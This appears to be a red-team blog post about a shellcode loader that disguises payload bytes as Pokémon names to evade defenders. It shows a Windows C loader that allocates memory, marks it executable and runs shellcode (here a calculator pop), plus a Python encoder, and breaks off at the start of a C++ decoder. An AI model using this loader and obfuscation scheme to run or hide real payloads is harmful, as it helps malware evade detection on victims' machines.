
Tired of looking at hex all day and popping '\x41's? Rather look at Lugia/Charmander? I have the solution for you.
Tired of looking at hex all day and popping '\x41's? Rather look at Lugia/Charmander? I have the solution for you. A tweet came in from @Checkymander about creating a shellcode loader from Pokémon names. Great fun project to mess with the blue team, but there wasn't a POC! (or at least when I last checked)
Note #1 Updated Code will be on my GitHub: https://github.com/Techryptic/Pokemon-Shellcode-Loader
Note #2 GitBooks: https://techryptic.gitbook.io/pokemon-shellcode
Note #3 GitPages: https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader
There are multiple ways to do this: If we look at a shellcode, it's a series of hexes from 0x00-0xFF, or in decimal form of 0-256. There happens to be way more than 256 Pokemon that we can choose from.
From looking at the Pokemon chart above, we can translate BULBASAUR, who is #001, to 0x01 (dropping the first zero). Likewise, CHARMANDER will be represented by 0x04 and so on. The Lucky null byte 0x00 can be aligned to Pokemon #257, BLAZIKEN!
Converting shellcode to Pokemon-Shellcode is simple. How about converting Pokemon-Shellcode to Assembly?! Do we want to have an Array within the .ASM? C code? Pull it down externally?
Many directions to go down!
We need data. First, I found two areas that contain both the number of the Pokemon and their name:
https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6
And another one that only has the name of the Pokemon. This might be more useful because we can get the array index position for a particular pokemon without carrying over a long string.
https://github.com/sindresorhus/pokemon/blob/main/data/en.json
I am taking a regular POP CALC shellcode and throwing some C's at it.
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
Not bad. It's not doing anything malicious, but still... not bad.
A simple script converts a shellcode byte Object into the Pokémon Shellcode.
import json
shellcode = (b"\x41\x42\x20\x43")
#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))
Taking the shellcode above:
\x00\x31\xc0\x50\x68\x2f\x2F
Converts to:
Fun Fact: I wanted to keep the Pokemon name aligned with their number (BULBASAUR = #1, or 0x01), thus needed to fill 0x00/null byte with something. What's better fitting than MISSINGNO?!
Another issue is that the Pokemon Farfetch'd have an apostrophe, as shown below. The easy fix is just to remove it and call it: Farfetchd
Finally, there are also two Pokémon that share the same name once you remove the symbols, the fix for those two was to append an F (for female), and for the other append an M (for male).
#include <iostream>
#include <string>
#include <Bits.h>
using namespace std;